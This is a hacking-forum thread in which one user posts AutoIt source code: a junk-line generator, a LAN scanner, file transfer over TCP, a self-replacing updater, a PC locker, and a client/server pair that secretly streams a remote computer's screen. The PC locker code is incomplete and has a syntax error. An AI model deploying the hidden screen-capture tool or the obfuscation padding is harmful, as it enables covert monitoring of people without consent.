• XSS.stack #1 – первый литературный журнал от юзеров форума

Autoit исходники

timbo

(L3) cache
Пользователь
Регистрация
19.09.2019
Сообщения
165
Реакции
295
Junk Code Generator

[CLIKE]
Код:
;START OF CONFIG
$target = 1000            ;number of lines
$file = "junk.txt"        ;file to store in
$numlines = 10            ;number of temporary lines, 10 works p good
;END OF CONFIG

FileDelete($file) ;just in case it exists already, we don't want to waste our time!

Dim $lines[$numlines + 1] ;first we create the array
$lines[0] = $numlines ;this isn't really needed but i love my arrays like that.
_dimlines($numlines) ;dim the temporary lines for the first time
FileWrite($file, "") ;create the file
$i = 0 ;set an int to count our loop / the lines created
$stept = Random(20,30,1) ;after this the lines will get redimed in order to leave no pattern
Do ;start of a do loop
    If $i = $stept Then ;With this we count to the next redim
        $stept = $stept + Random($i + 20, $i + 30,1) ;and if it happens we set a new point for it (p random to leave no pattern again)
        _dimlines($numlines) ;and redim all lines
    EndIf ;End of that part!
    $i = $i + 1 ;line count variable + 1
    $rand = Random(1,10,1) ; create a random number
    FileWriteLine($file, $lines[$rand]) ;and write one of the the temp lines to the file
    $per = $i / $target * 100 ;calculate the %
    ToolTip($i & "/" & $target & " lines created - That's " & $per & "%");and display a nice message for the user
Until $i = $target ;we do that until we reached the number of lines we want

Func _dimlines($dtarget) ;this is the func to dim/redim the the lines
$d = 1 ;a new int for the loop below
Do ;a do loop again :o
    $lines[$d] =  "$" & Random(50000,150000,1) & ' = "' & Random(50000,150000,1) & '"' ;That is how a line gets generate only 2 random numbers + the operators
    $d = $d + 1 ;$d++
Until $d = $dtarget ;the loop does it for any temp line
EndFunc ;end of the func
[/CLIKE]
 
Network Scanner

[CLIKE]
Код:
#include "inet.au3"
#include "array.au3"
#include 'string.au3'
#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("888 Network Scanner Autoit Tutorial", 651, 304, -1, -1)
$ListView1 = GUICtrlCreateListView("IP|Name", 16, 16, 481, 273)
GUICtrlSendMsg(-1, $LVM_SETCOLUMNWIDTH, 0, 190)
GUICtrlSendMsg(-1, $LVM_SETCOLUMNWIDTH, 1, 190)
$Button1 = GUICtrlCreateButton("Scanne", 512, 112, 129, 177)
$Label1 = GUICtrlCreateLabel("", 512, 88, 132, 17)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###
$arr=StringSplit(@IPAddress1,".")
TCPStartup()
While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
Exit
Case $Button1
_GUICtrlListView_DeleteAllItems(GUICtrlGetHandle($ListView1))
For $rra=1 to 21
$ips=$arr[1]&"."&$arr[2]&"."&$arr[3]&"."&$rra
GUICtrlSetData($Label1,$ips)
$aexxx=Run("ping " & $ips & " -n 1 -w " & 500, "", @SW_HIDE, $STDOUT_CHILD)
$eats=''
While 1
$data = StdoutRead($aexxx,0)
if @error Then ExitLoop
$eats&=$data
WEnd
If _StringBetween($eats,"= ","ms") <> "" Then
$name=_TCPIpToName($ips)
If $name = "" Then
$name = "Unknow"
EndIf
_GUICtrlListView_InsertItem($ListView1, 0, "")
_GUICtrlListView_AddSubItem($ListView1,0, $ips, 0)
_GUICtrlListView_AddSubItem($ListView1,0,$name,1)
EndIf
Next
EndSwitch
WEnd
[/CLIKE]
 
Программа для работы с процессами. Аналог программы ProcessKiller

1.jpg


Скачать исходники : [CLIKE] [/CLIKE]
 
Пример автообновления версии своего приложения

[CLIKE]
Код:
#include <GUIConstantsEx.au3>
#include <Misc.au3>
#include <Inet.au3>
;

Global $sAppUpdate_Page = "http://domen.ru/MyApp_Update.inf"
Global $sApp_Version = "1.0"

Global $hGUI = 0

;Here we checking in quiet mode (only if new version available there will be a message).
_AppCheckUpdates_Proc($sAppUpdate_Page, $sApp_Version, 1)

#Region GUI Part
$hGUI = GUICreate("My Application", 300, 200)

$CheckUpdates_Button = GUICtrlCreateButton("Check Updates", 200, 170, 90, 20)
$Exit_Button = GUICtrlCreateButton("Exit", 20, 170, 60, 20)

GUISetState(@SW_SHOW, $hGUI)
#EndRegion GUI Part
;

While 1
    Switch GUIGetMsg()
        Case $GUI_EVENT_CLOSE, $Exit_Button
            Exit
        Case $CheckUpdates_Button
            _AppCheckUpdates_Proc($sAppUpdate_Page, $sApp_Version)
    EndSwitch
WEnd

Func _AppCheckUpdates_Proc($sServer_Page, $sCurrent_AppVersion, $iMode=-1) ;$iMode <> -1 to check quitly
    Local $sUpdate_Info = _INetGetSource($sServer_Page)

    If Not StringInStr($sUpdate_Info, "[Info]") Then
        If $iMode = -1 Then MsgBox(48, "Update check", _
            StringFormat("There was an error (%i) to check update, please contact with the author.", 1), 0, $hGUI)

        Return SetError(1, 0, 0)
    EndIf

    Local $sUpdate_Version = StringRegExpReplace($sUpdate_Info, "(?s)(?i).*Update Version=(.*?)(\r|\n).*", "\1")
    Local $sUpdate_File = StringRegExpReplace($sUpdate_Info, "(?s)(?i).*Update File=(.*?)(\r|\n).*", "\1")

    If _VersionCompare($sUpdate_Version, $sCurrent_AppVersion) = 1 Then
        Local $iUpdate_Ask = MsgBox(36, "Update check", _
            StringFormat("There is new version available (%s).\n\nWould you like to download the update?", $sUpdate_Version), _
            0, $hGUI)

        If $iUpdate_Ask <> 6 Then Return 0

        Local $sScript_Name = StringTrimRight(@ScriptName, 4) & ".efe"

        Local $iInetGet = InetGet($sUpdate_File, @TempDir & "\" & $sScript_Name)

        If @error Or Not $iInetGet Then
            If $iMode = -1 Then MsgBox(48, "Update check", _
                StringFormat("There was an error (%i) to download the update, please contact with the author.", 2), 0, $hGUI)

            Return SetError(2, 0, 0)
        EndIf

        Run(@ComSpec & ' /c Ping -n 2 localhost > nul & Move /y "' & _
            @TempDir & '\' & $sScript_Name & '" "' & @ScriptFullPath & '" & Start "" "' & @ScriptFullPath & '"', '', @SW_HIDE)

        Exit
    EndIf

    If $iMode = -1 Then MsgBox(48, "Update check", "You are using the newest version of this software.", 0, $hGUI)
    Return 1
EndFunc
[/CLIKE]


Содержимое MyApp_Update.inf на сервере:


Код:
[Info]
Update Version=1.1
Update File=http://domen.ru/MyApp_Update.inf

После «Update File=» нужно указать свою ссылку на файл (с открытым/публичным доступом).
При каждом обновлении, меняем версию после «Update Version=» на более новую.

P.S
Для корректной проверки, пример нужно скомпилировать.
 
Клиент-сервер отправка файла через сеть

Код:Клиент

[CLIKE]
Код:
opt("MustDeclareVars",1)
TCPStartup()
Global $Server_IP = "127.0.0.1"
Global Const $Server_PORT = "44444"
Global Const $read_count=4000;размер блока отправки/чтения
Global $ConnectedSocket=-1, $File,$rData, $fsize, $parts_num,$File_name,$err,$File_name_sh,$temp

while 1
    Client()
    Sleep(2000)
WEnd

Func Client()
Local $temp,$recv,$i,$j,$switch
    if $ConnectedSocket = -1 then;нет подключения
        $ConnectedSocket = TCPConnect($Server_IP, $Server_PORT);подключаемся
    Else
;~         $File_name=@ScriptDir&"\"&@ScriptName
        $File_name=FileOpenDialog("выберите файл для отправки","d:\","All (*.*)")
        $temp=StringSplit($File_name,"\")
        $File_name_sh=$temp[$temp[0]]
        $File=FileOpen($File_name,16)
        $fsize=FileGetSize($File_name)
        $parts_num=Int($fsize/$read_count)+1
;~ ConsoleWrite("$parts_num:"&$parts_num&@CRLF)
        TCPSend($ConnectedSocket,"#trans# "&$File_name&"#"&$parts_num&@CRLF);отправка данных о передаваемом файле
        $err = @error
        if $err Then;разрыв соединения при ошибке
            ConsoleWrite ("ER " & $err& @CRLF)
            TCPCloseSocket($ConnectedSocket)
            $ConnectedSocket=-1
        EndIf

        $recv=TCPRecv($ConnectedSocket,8040)
        $recv=StringSplit($recv,@CRLF)

        For $i=1 to $recv[0];обработка полученной инфы
            ConsoleWrite("clirec:"&$recv[$i]& @CRLF)
            if $recv[$i]="#ready#" & $File_name_sh Then;клиент готов к приему файла
                for $j=1 to $parts_num
                    $temp=FileRead($File,$read_count)
;~ ConsoleWrite("sending:"&$temp&@CRLF)
                    $temp=TCPSend($ConnectedSocket,$j&"#"& $temp &@CRLF)
;~ ConsoleWrite("send bytes:"&$temp&@CRLF)
;~ $err=@error
;~ ConsoleWrite("er:"&$err&@CRLF)
;~ ConsoleWrite("№ цикла:"&$j&@CRLF)
                    if $J=$parts_num then MsgBox(0,"","передача файла завершена")
                    While 1;ожидание получения подтверждения о доставке
                        $temp=TCPRecv($ConnectedSocket,8040)
;~ if $temp>"" then ConsoleWrite("clirec:"&$temp&@CRLF)
                        if $temp="#ok#"&$j&@CRLF Then ExitLoop;подтверждение получено, выход из цикла
                    WEnd
                Next
            EndIf
        Next
    EndIf
EndFunc
[/CLIKE]

Код:Сервер

[CLIKE]
Код:
opt("MustDeclareVars",1)
TCPStartup()
Global Const $Server_IP            = "127.0.0.1"
Global Const $Server_PORT        = "44444"
Global $MainSocket=TCPListen($Server_IP,$Server_PORT,100)
Global $ConnSocket=-1


while 1
   Server()
   Sleep(2000)
WEnd


Func Server()
Local $recv,$i,$file_size,$file_parts,$fname,$err
    if $ConnSocket=-1 then;нет подключения
        $ConnSocket=TCPAccept($MainSocket);подключаемся
    Else;если есть подключение
        $recv=TCPRecv($ConnSocket, 8040);читаем из сокета
        $err=@error
        if $err Then;разрыв соединения при ошибке чтения из сокета
            TCPCloseSocket($ConnSocket)
            $ConnSocket=-1
        Else;обработка полученных данных
            $recv=StringSplit($recv, @CRLF)
            For $i=1 to $recv[0]
                if $recv[$i]>"" Then _Srv_msg_proc($recv[$i])
            Next
        EndIf
    EndIf
EndFunc

;~ =========================================================================================
Func _Srv_msg_proc($msg)
Local $i,$data,$file_parts,$fname,$curr_part=1
;~ ConsoleWrite("SrvProc:"&$msg&@CRLF)
if StringLeft($msg,1)="#" Then
    $msg=StringSplit($msg, " ")
    Switch $msg[1]
    Case "#trans#";получено приглашение к началу отправки файла
        $data=StringSplit($msg[2],"#")
        $fname=StringSplit( $data[1],"\")
        $fname=$fname[$fname[0]]
        TCPSend($ConnSocket,"#ready#"&$fname&@CRLF);отправка готовности к получению файла
        $file_parts=$data[2]
        if FileExists(@ScriptDir&"\"&$fname) Then FileDelete(@ScriptDir&"\"&$fname);удаление старого файла
        $fname=FileOpen(@ScriptDir&"\"&$fname,17);пересоздать !бинарный! файл
        While 1
            $data=TCPRecv($ConnSocket,8040)
;~ ConsoleWrite("SrvRec:"&$data& @CRLF)
            if $data>"" then
                if $curr_part>$file_parts Then;получена последняя часть - закрыть файл
                    FileClose($fname)
;~ ConsoleWrite("File closed!"& @CRLF)
                    ExitLoop
                EndIf               
                $data=StringSplit($data,"#");отделение номера сообщения от данных
                if $data[1]>"" and $curr_part=$data[1] Then
                    FileWrite($fname,BinaryToString(StringTrimRight($data[2],2)));удаляются из полученной строки @CRLF и конвертится в текст
                    TCPSend($ConnSocket,"#ok#"&$data[1]&@CRLF)
                    $curr_part+=1
                Else;тут действия при потере пакета. пишем своё
ConsoleWrite("wrong part number!:"& $data[1] & @CRLF)
                EndIf
            EndIf
        WEnd
    EndSwitch
EndIf
EndFunc
[/CLIKE]
 
Получаем изображение экрана удаленного компьютера (через screenshot)

Требовалась программа которая не требует установки и прав администратора. Работает в скрытом режиме, без установки. Не создает дополнительных TCP/UDP подключений и при этом передает текущее изображение экрана на другой компьютер. Реализовано через создание скриншота и сохранение его в общую папку (ScreenShot)

fb3ec7ce0d5d.jpg



Client.au3
[CLIKE]
Код:
#Include <GDIPlus.au3>
#Include <Memory.au3>
#Include <WinAPIEx.au3>

TCPStartup()
$Socket = TCPConnect(@IPAddress1, 33891)
If @error Then
    Exit
EndIf

_GDIPlus_Startup()

Global $tEncoder = _WinAPI_GUIDFromString(_GDIPlus_EncodersGetCLSID('png'))
Global $pEncoder = DllStructGetPtr($tEncoder)

While 1
    TCPSend($Socket, _GetScreenshot(0, 0, 800, 600))
    If @error Then
        ExitLoop
    EndIf
    Sleep(1000)
WEnd

_GDIPlus_Shutdown()

TCPShutdown()

Func _GetScreenshot($iX = 0, $iY = 0, $iWidth = -1, $iHeight = -1)

    Local $hSrcDC, $hDstDC, $hDstSv, $hBitmap, $hDesktop, $hScreen, $hMemory, $pMemory, $pStream, $tOut, $pOut, $iSize

    If $iWidth = -1 Then
        $iWidth = @DesktopWidth
    EndIf
    If $iHeight = -1 Then
        $iHeight = @DesktopHeight
    EndIf
    $hDesktop = _WinAPI_GetDesktopWindow()
    $hSrcDC = _WinAPI_GetDC($hDesktop)
    $hScreen = _WinAPI_CreateCompatibleBitmap($hSrcDC, $iWidth, $iHeight)
    $hDstDC = _WinAPI_CreateCompatibleDC($hSrcDC)
    $hDstSv = _WinAPI_SelectObject($hDstDC, $hScreen)
    _WinAPI_BitBlt($hDstDC, $iX, $iY, $iWidth, $iHeight, $hSrcDC, $iX, $iY, $SRCCOPY)
    _WinAPI_SelectObject($hDstDC, $hDstSv)
    _WinAPI_ReleaseDC($hDesktop, $hSrcDC)
    _WinAPI_DeleteDC($hDstDC)
    $hBitmap = _GDIPlus_BitmapCreateFromHBITMAP($hScreen)
    _WinAPI_DeleteObject($hScreen)
    $pStream = _WinAPI_CreateStreamOnHGlobal(0)
    _GDIPlus_ImageSaveToStream($hBitmap, $pStream, $pEncoder)
    _GDIPlus_BitmapDispose($hBitmap)
    $hMemory = _WinAPI_GetHGlobalFromStream($pStream)
    $pMemory = _MemGlobalLock($hMemory)
    $iSize = _MemGlobalSize($hMemory)
    $tOut = DllStructCreate('dword;dword;byte[' & ($iSize - Mod($iSize, 4) + 4) & ']')
    $pOut = DllStructGetPtr($tOut)
    DllStructSetData($tOut, 1, DllStructGetSize($tOut))
    DllStructSetData($tOut, 2, $iSize)
    _MemMoveMemory($pMemory, $pOut + 8, $iSize)
    _MemGlobalFree($hMemory)
    Return DllStructGetData(DllStructCreate('byte[' & DllStructGetSize($tOut) & ']', DllStructGetPtr($tOut)), 1)
EndFunc   ;==>_GetScreenshot

Func _GDIPlus_ImageSaveToStream($hImage, $pStream, $pEncoder, $pParams = 0)

    Local $Ret = DllCall($ghGDIPDll, 'uint', 'GdipSaveImageToStream', 'ptr', $hImage, 'ptr', $pStream, 'ptr', $pEncoder, 'ptr', $pParams)

    If (@error) Or ($Ret[0]) Then
        Return SetError(@error, @extended, 0)
    EndIf
    Return 1
EndFunc   ;==>_GDIPlus_ImageSaveToStream
[/CLIKE]


Server.au3

[CLIKE]
Код:
#Include <Constants.au3>
#Include <GDIPlus.au3>
#Include <Memory.au3>
#Include <WinAPIEx.au3>

Global Const $STM_SETIMAGE = 0x0172
Global Const $STM_GETIMAGE = 0x0173

TCPStartup()
$Main = TCPListen(@IPAddress1, 33891)
If @error Then
    Exit
EndIf

GUICreate('MyGUI', 800, 600, @DesktopWidth - 819, @DesktopHeight - 671)
$Pic = GUICtrlCreatePic('', 0, 0, 800, 600)
GUISetState()

Do
    $Socket = TCPAccept($Main)
Until $Socket <> -1

Global $tHeader = DllStructCreate('byte[4]')
Global $pHeader = DllStructGetPtr($tHeader)
Global $bData = 0, $Count = 0

_GDIPlus_Startup()

Do
    If Not IsBinary($bData) Then
        $bData = TCPRecv($Socket, 16384, 1)
        If @error Then
            ExitLoop
        EndIf
    EndIf
    If IsBinary($bData) Then
        If Not $Count Then
            DllStructSetData($tHeader, 1, $bData)
            $tData = DllStructCreate('dword', $pHeader)
            $Size = DllStructGetData($tData, 1)
            $tData = DllStructCreate('byte[' & $Size & ']')
            $pData = DllStructGetPtr($tData)
        EndIf
        $Lenght = BinaryLen($bData)
        $Sum = $Count + $Lenght
        If $Sum > $Size Then
            $dL = $Size - $Count
            $tPart = DllStructCreate('byte[' & $dL & ']', $pData + $Count)
            DllStructSetData($tPart, 1, $bData)
            $tByte = DllStructCreate('byte[' & $Lenght & ']')
            $tRecv = DllStructCreate('byte[' & ($Lenght - $dL) & ']', DllStructGetPtr($tByte) + $dL)
            DllStructSetData($tByte, 1, $bData)
            $bData = DllStructGetData($tRecv, 1)
            $Sum = $Size
        Else
            $tPart = DllStructCreate('byte[' & $Lenght & ']', $pData + $Count)
            DllStructSetData($tPart, 1, $bData)
            $Count = $Sum
            $bData = 0
        EndIf
        If $Sum = $Size Then
            _SetScreenshot($Pic, $tData)
            $Count = 0
        EndIf
    EndIf
Until GUIGetMsg() = -3

_GDIPlus_Shutdown()

TCPCloseSocket($Socket)
TCPShutdown()

Func _SetScreenshot($CtrlID, ByRef $tData, $fUpdate = 0)

    Local $hBitmap, $hPrev, $hScreen, $hMemory, $pMemory, $pStream, $pData, $iSize

    $hWnd = GUICtrlGetHandle($CtrlID)
    If Not $hWnd Then
        Return 0
    EndIf

    $pData = DllStructGetPtr($tData)
    $iSize = DllStructGetData(DllStructCreate('dword', $pData + 4), 1)
    $hMemory = _MemGlobalAlloc($iSize, $GMEM_MOVEABLE)
    $pMemory = _MemGlobalLock($hMemory)
    _MemMoveMemory($pData + 8, $pMemory, $iSize)
    _MemGlobalUnlock($hMemory)
    $pStream = _WinAPI_CreateStreamOnHGlobal($hMemory)
    $hBitmap = _GDIPlus_BitmapCreateFromStream($pStream)
    $hScreen = _GDIPlus_BitmapCreateHBITMAPFromBitmap($hBitmap)
    _GDIPlus_BitmapDispose($hBitmap)
    _MemGlobalFree($hMemory)
    _WinAPI_DeleteObject(_SendMessage($hWnd, $STM_SETIMAGE, $IMAGE_BITMAP, $hScreen))
    $hPrev = _SendMessage($hWnd, $STM_GETIMAGE)
    If $hPrev <> $hScreen Then
        _WinAPI_DeleteObject($hScreen)
    EndIf
    If $fUpdate Then
        _WinAPI_UpdateWindow($hWnd)
    EndIf
    Return 1
EndFunc   ;==>_SetScreenshot

Func _GDIPlus_BitmapCreateFromStream($pStream)

    Local $Ret = DllCall($ghGDIPDll, 'uint', 'GdipCreateBitmapFromStream', 'ptr', $pStream, 'ptr*', 0)

    If (@error) Or ($Ret[0]) Then
        Return SetError(@error, @extended, 0)
    EndIf
    Return $Ret[2]
EndFunc   ;==>_GDIPlus_BitmapCreateFromStream
[/CLIKE]
 
LockPC - Блокирование компьютера


Инструмент для блокировки компьютера с помощью 4-х значного PIN-кода, проще чем пароль, но тем не менее безопасный.

[CLIKE]
Код:
#include <EditConstants.au3>
#include <ButtonConstants.au3>
#include <GUIConstantsEx.au3>
#include <WindowsConstants.au3>
#include <StaticConstants.au3>
#include <Misc.au3>
#include <String.au3>
#include <Array.au3>
#NoTrayIcon
Opt("WinTitleMatchMode", 4)

If _Singleton("OllieB.net-LockPC", 1) = 0 Then
    ProcessClose("LockPC.exe")
    ProcessWaitClose("LockPC.exe")
    Exit
EndIf

$_VERSION = '1.2.0'
$_SETTINGS = "settings.ini"
$_CRYPTSTRING = "lockPCau3ollieb.net"
Global $_COPYRIGHT = "LockPC " & $_VERSION & @CRLF & "© OllieB.net"
Global Enum $TIMERID1 = 1001
$winlock = DllOpen("WinLockDll.dll")

If Not FileExists("settings.ini") Then
    MsgBox(0, "Firstrun", "Welcome to LockPC, the next step will help you configure LockPC." & @CRLF & @CRLF & "To run this setup again or change your lock code, delete the settings.ini found in the installation directory.")
    CreateSettingsFile()
Else
    $_INIVERSION = IniRead("settings.ini", "app", "version", '0')
    If $_VERSION <> $_INIVERSION Then
        MsgBox(0, "Error", "Your settings file was created in a different version, creating a new one...")
        FileDelete("settings.ini")
        CreateSettingsFile()
    EndIf
EndIf

Global $passcode = _StringEncrypt(0, IniRead($_SETTINGS, "set", "passcode", '0000'), $_CRYPTSTRING)
Global $itunes_pause_resume = IniRead($_SETTINGS, "set", "itunes_pause_resume", '0')
Global $monitor_idle_off = IniRead($_SETTINGS, "set", "monitor_idle_off", '0')
Global $messenger_contact_list = IniRead($_SETTINGS, "set", "messenger_contact_list", '0')
Global $display_clock = IniRead($_SETTINGS, "set", "display_clock", '0')
Global $beep_on_deny = IniRead($_SETTINGS, "set", "beep_on_deny", '0')
Global $gmail_count = IniRead($_SETTINGS, "set", "gmail_count", '0')
Global $gmail_username = IniRead($_SETTINGS, "set", "gmail_username", '0')
Global $gmail_password = _StringEncrypt(0, IniRead($_SETTINGS, "set", "gmail_password", ''), $_CRYPTSTRING)

If Not IsDeclared("SM_VIRTUALWIDTH") Then Global Const $SM_VIRTUALWIDTH = 78
If Not IsDeclared("SM_VIRTUALHEIGHT") Then Global Const $SM_VIRTUALHEIGHT = 79
$VirtualDesktopWidth = DLLCall("user32.dll", "int", "GetSystemMetrics", "int", $SM_VIRTUALWIDTH)
$VirtualDesktopWidth = $VirtualDesktopWidth[0]
$VirtualDesktopHeight = DLLCall("user32.dll", "int", "GetSystemMetrics", "int", $SM_VIRTUALHEIGHT)
$VirtualDesktopHeight = $VirtualDesktopHeight[0]

Global $_WinWidth=$VirtualDesktopWidth
Global $_WinHeight=$VirtualDesktopHeight
Global $prevleng = 0
Global $mainpassentry
Global $hwnd = WinGetHandle("classname=Progman")
Global $user32 = DllOpen("user32.dll")
Global $last_active = 0
Global $timer = TimerInit()
Global $oiTunes
Global $DELAYTIMER = TimerInit()
Global $DELAY = 3
Global $DELAYTIMER2 = TimerInit()
Global $DELAY2 = 5
Global $new_data = "Loading..."
Global $old_data = ""
Global $_INFO[1]
HotKeySet("{SPACE}", "DoNothing")
HotKeySet("{LEFT}", "DoNothing")
HotKeySet("{RIGHT}", "DoNothing")
HotKeySet("{UP}", "DoNothing")
HotKeySet("{DOWN}", "DoNothing")
HotKeySet("{TAB}", "DoNothing")
HotKeySet("{F1}", "DoNothing")

MainLock()

Func DoNothing()
    Return
EndFunc

Func CheckUpdates($_VERSION)
    TCPStartup()
    $addr = "ollieb.net"
    $sc = TCPConnect(TCPNameToIP($addr), 80)
    $path = "/apps/lockpc.php?ver=" & $_VERSION
    
    If @error Or $sc < 1 Then
        Return
    Else
        $request = "GET " & $path & " HTTP/1.0" & @CRLF & "Host:" & $addr & @CRLF & @CRLF
        TCPSend($sc, $request)
        
        While 1
            $recv = TCPRecv($sc, 1024)
            $recv = StringRight($recv, 1)
            If @error Then ExitLoop
            If $recv <> "" Then
                If $recv = 1 Then
                    MsgBox(64, "Notification", "There is an update available for LockPC.")
                EndIf
                ExitLoop
            EndIf
        WEnd
    EndIf
    
    TCPShutdown()
    
EndFunc

Func CheckGmail()
    $oHTTP = ObjCreate("winhttp.winhttprequest.5.1")
    
    $oHTTP.Open("GET", "https://mail.google.com/mail/feed/atom", False)
    
    $oHTTP.SetCredentials($gmail_username, $gmail_password, 0)
    
    $oHTTP.Send()
    
    $response = $oHTTP.ResponseText
    
    If StringInStr($response, "<fullcount>", false) Then
        $_COUNT = _StringBetween($response, "<fullcount>", "</fullcount>")
        $_COUNT = Int($_COUNT[0])
        $s = "s"
        If $_COUNT = 0 Then
            $_COUNT = "no"
        ElseIf $_COUNT = 1 Then
            $s = ""
        EndIf
        $_RETURN = "You have " & $_COUNT & " new email" & $s
    Else
        $_RETURN = "Gmail Error"
        $_COUNT = False
    EndIf
    
    $_INFO[$gmail_count_i] = $_RETURN
EndFunc


Func timerevent($hWnd, $Msg, $iIDTimer, $dwTime)
    If $display_clock = 1 Then
        GUICtrlSetData($CLOCK, @HOUR & ":" & @MIN & ":" & @SEC)
    EndIf
    If $messenger_contact_list = 1 Then
        If Int(TimerDiff($DELAYTIMER)/1000) > $DELAY Then
            msnwindowlist()
            $DELAYTIMER = TimerInit()
        EndIf
    EndIf
    If $gmail_count = 1 Then
        If Int(TimerDiff($DELAYTIMER2)/1000) > $DELAY2 Then
            CheckGmail()
            $DELAYTIMER2 = TimerInit()
        EndIf
    EndIf
EndFunc

Func msnwindowlist()
    If ProcessExists("msnmsgr.exe") Then
        $processes = ProcessList("msnmsgr.exe")
        For $i = 1 To $processes[0][0]
            $MSNPID = $processes[$i][1]
        Next
        $var = WinList()
        $list = ""
        For $i = 1 to $var[0][0]
            If WinGetProcess($var[$i][0]) = $MSNPID AND $var[$i][0] <> "Windows Live Messenger" AND $var[$i][0] <> "" AND IsVisible($var[$i][1]) AND StringRight($var[$i][0], 5) <> "Alert" Then
                $list = $list & $var[$i][0] & @LF
            EndIf
        Next
        
        If $list = "" Then
            $_RETURN = "None      "
        Else
            $_RETURN = $list
        EndIf
        $_INFO[$messenger_contact_list_i] = "Conversation Windows" & @LF & @LF & $_RETURN
    EndIf
    Return "WLM not running "
EndFunc

Func disableCTRLALTDEL($value)
    If $value Then
        DllCall($winlock, "Int", "CtrlAltDel_Enable_Disable", "Int", "0")
        DllCall($winlock, "Int", "TaskSwitching_Enable_Disable", "Int", "0")
    Else
        DllCall($winlock, "Int", "CtrlAltDel_Enable_Disable", "Int", "1")
        DllCall($winlock, "Int", "TaskSwitching_Enable_Disable", "Int", "1")
    EndIf
EndFunc

Func IsVisible($handle)
    If BitAnd(WinGetState($handle), 2) Then
        Return 1
    Else
        Return 0
    EndIf
EndFunc

Func CreateSettingsFile()
    
    $settingsform = GUICreate("LockPC", 266, 360)
    GUICtrlCreateGroup("Settings", 8, 8, 249, 300)
    $set_pinentry = GUICtrlCreateInput("", 120, 29, 49, 21, $ES_PASSWORD)
    GUICtrlSetLimit($set_pinentry, 4)
    GUICtrlCreateLabel("Create a new PIN:", 24, 32, 91, 17)
    $set_itunes = GUICtrlCreateCheckbox("Pause/Play iTunes.", 24, 64, 193, 17)
    $set_monitors = GUICtrlCreateCheckbox("Monitors standby after 30s inactivity.", 24, 96, 193, 17)
    $set_beep_on_deny = GUICtrlCreateCheckbox("Beep on false entry.", 24, 128, 193, 17)
    $set_messenger_contact_list = GUICtrlCreateCheckbox("Display WLM conversation list.", 24, 160, 193, 17)
    $set_display_clock = GUICtrlCreateCheckbox("Display clock on lock screen.", 24, 192, 193, 17)
    $set_gmail_count = GUICtrlCreateCheckbox("Display G-Mail count.", 24, 224, 193, 17)
    GUICtrlCreateLabel("Username:", 24, 252, 100, 18)
    GUICtrlCreateLabel("Password:", 138, 252, 100, 18)
    $set_gmail_username = GUICtrlCreateInput("", 24, 270, 100, 21, $ES_READONLY)
    $set_gmail_password = GUICtrlCreateInput("", 138, 270, 100, 21, BitOr($ES_PASSWORD, $ES_READONLY))
    GUICtrlCreateGroup("", -99, -99, 1, 1)
    $set_save = GUICtrlCreateButton("Save", 32, 323, 83, 25, $BS_DEFPUSHBUTTON)
    $set_cancel = GUICtrlCreateButton("Cancel", 144, 323, 83, 25, 0)
    GUISetState(@SW_SHOW)
    
    While 1
        $msg = GUIGetMsg()
        Switch $msg
        Case $set_gmail_count
            If BitAnd(GUICtrlRead($set_gmail_count), $GUI_CHECKED) = 1 Then
                GUICtrlSetStyle($set_gmail_username, $GUI_SS_DEFAULT_INPUT)
                GUICtrlSetStyle($set_gmail_password, $GUI_SS_DEFAULT_INPUT)
            Else
                GUICtrlSetData($set_gmail_username, "")
                GUICtrlSetData($set_gmail_password, "")
                GUICtrlSetStyle($set_gmail_username, $ES_READONLY)
                GUICtrlSetStyle($set_gmail_password, $ES_READONLY)
            EndIf
        Case $set_save
            $set_pinentry_r = GUICtrlRead($set_pinentry)
            if StringLen($set_pinentry_r) <> 4 Then
                MsgBox(0, "Error", "Sorry, your PIN must be exactaly 4 characters")
                ContinueLoop
            EndIf
            $set_itunes_r = BitAnd(GUICtrlRead($set_itunes), $GUI_CHECKED)
            $set_monitors_r = BitAnd(GUICtrlRead($set_monitors), $GUI_CHECKED)
            $set_messenger_contact_list_r = BitAnd(GUICtrlRead($set_messenger_contact_list), $GUI_CHECKED)
            $set_beep_on_deny_r = BitAnd(GUICtrlRead($set_beep_on_deny), $GUI_CHECKED)
            $set_display_clock_r = BitAnd(GUICtrlRead($set_display_clock), $GUI_CHECKED)
            $set_gmail_count_r = BitAnd(GUICtrlRead($set_gmail_count), $GUI_CHECKED)
            
            $set_gmail_username_r = GUICtrlRead($set_gmail_username)
            $set_gmail_password_r = GUICtrlRead($set_gmail_password)
            
            GUIDelete($settingsform)
            ExitLoop
            
        Case $set_cancel
            Exit
        Case $GUI_EVENT_CLOSE
            Exit
        EndSwitch       
    WEnd
    
    IniWrite($_SETTINGS, "app", "version", $_VERSION)
    IniWrite($_SETTINGS, "set", "passcode", _StringEncrypt(1, $set_pinentry_r, $_CRYPTSTRING))
    IniWrite($_SETTINGS, "set", "itunes_pause_resume", $set_itunes_r)
    IniWrite($_SETTINGS, "set", "monitor_idle_off", $set_monitors_r)
    IniWrite($_SETTINGS, "set", "messenger_contact_list", $set_messenger_contact_list_r)
    IniWrite($_SETTINGS, "set", "beep_on_deny", $set_beep_on_deny_r)
    IniWrite($_SETTINGS, "set", "display_clock", $set_display_clock_r)
    IniWrite($_SETTINGS, "set", "gmail_count", $set_gmail_count_r)
    IniWrite($_SETTINGS, "set", "gmail_username", $set_gmail_username_r)
    IniWrite($_SETTINGS, "set", "gmail_password", _StringEncrypt(1, $set_gmail_password_r, $_CRYPTSTRING))
    if @error <> 0 Then
        MsgBox(0, "Error", "There was an error creating the .ini file. Check permissions and location of executable."
    EndIf
EndFunc

Func _CheckIdle(ByRef $last_active, $start = 0)
    $struct = DllStructCreate("uint;dword")
    DllStructSetData($struct, 1, DllStructGetSize($struct))
    If $start Then
        DllCall("user32.dll", "int", "GetLastInputInfo", "ptr", DllStructGetPtr($struct))
        $last_active = DllStructGetData($struct, 2)
        Return $last_active
    Else
        DllCall("user32.dll", "int", "GetLastInputInfo", "ptr", DllStructGetPtr($struct))
        If $last_active <> DllStructGetData($struct, 2) Then
            Local $save = $last_active
            $last_active = DllStructGetData($struct, 2)
            Return $last_active - $save
        EndIf
    EndIf
EndFunc

Func _WinAPI_KillTimer($hWnd, $iIDEvent)
    Local $iResult = DllCall("user32.dll", "int", "KillTimer", "hwnd", $hWnd, "int", $iIDEvent)
    If @error Then Return SetError(-1, -1, 0)
    Return $iResult[0] <> 0
EndFunc

